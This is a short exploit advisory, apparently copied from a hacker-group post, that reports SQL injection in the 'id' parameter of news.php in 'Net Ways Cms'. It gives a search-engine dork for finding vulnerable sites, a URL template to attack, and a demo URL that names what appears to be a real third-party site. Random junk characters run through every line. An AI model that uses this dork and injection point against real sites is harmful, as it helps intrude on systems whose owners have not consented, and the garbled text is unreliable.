################################################################################??######## ; j9 B5 n1 b5 p @. f2 V% y
#
3 }# h1 U) W) L& O8 g# C. A# Exploit Title : Net Ways Cms Sql Injection Vulnerability 3 q( h U5 b; O0 _
# & w* |( Y# f; n! T- Q4 C6 z
# Author : IrIsT.Ir
" {$ H$ j: Y- M# & l% q% C( w: D
# Discovered By : Am!r
$ E! ?5 J7 F5 k#
9 @. P& b& ^, y* R& o- P# Home : http://IrIsT.Ir/forum
: D, u" a8 f' A: ^/ k# c# ! J, e$ p) I2 K# R
# Software Link : http://www.netways.com/ www.political-security.com
9 L- w- |- o6 P, p) L* M7 J4 E#
7 B( U9 n3 r/ q$ v z# Security Risk : High 8 Z2 v1 _0 h0 z$ }0 q/ ]0 I6 `
# * M$ o; J7 t6 j% }9 I, h! H% A
# Version : All Version 5 w/ p2 q# ]. n- @# k& |- _
#
3 o; k$ ^; @* Q9 Q2 M" E+ u# Tested on : GNU/Linux Ubuntu - Windows Server - win7
) {) j4 j. z" I) D- I1 n. s1 N# 7 }- _6 g% f8 q
# Dork : intext:"Designed & developed by NetWays" 6 f" Z% G& b8 g2 e! x
# 7 P: o. ?7 O# e; w+ Q3 o, c
################################################################################??######## ^4 z2 K0 q7 X: v+ ?( j
#
- M U" l- B: b$ s8 F# Expl0iTs : / `7 R& v) Z7 {$ Q, [
#
) i& }; s# T% Z6 O6 l# http://target.com/news.php?id=[Sql] , d& ?/ M k" o; n8 c
#
. V5 D: o# W6 a! B. o#
2 k* }& w4 W% p/ z# D3mo : # r, s/ t' Y) q- j7 u9 d
#
! y) H$ ^! Y% C% `4 O6 b# http://compagnieparento.com/news.php?id=7[Sql] , P* O! `: v4 M
#
: t6 i4 I! y: I' g################################################################################??########
9 _0 b# v8 \" d) {9 k4 x# 1 X, M, w3 q) E8 t% Z$ J& `
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
- e5 \6 p0 ~* m( ~#
6 f% t1 z8 ?7 P. f& e# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r " j* M/ ~: ~7 _; l# m
# 2 Q" t; k- e5 d
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
" K5 |, b% G( j# 3 R/ E8 N M: ]* B3 D3 D) a4 p
################################################################################??######## |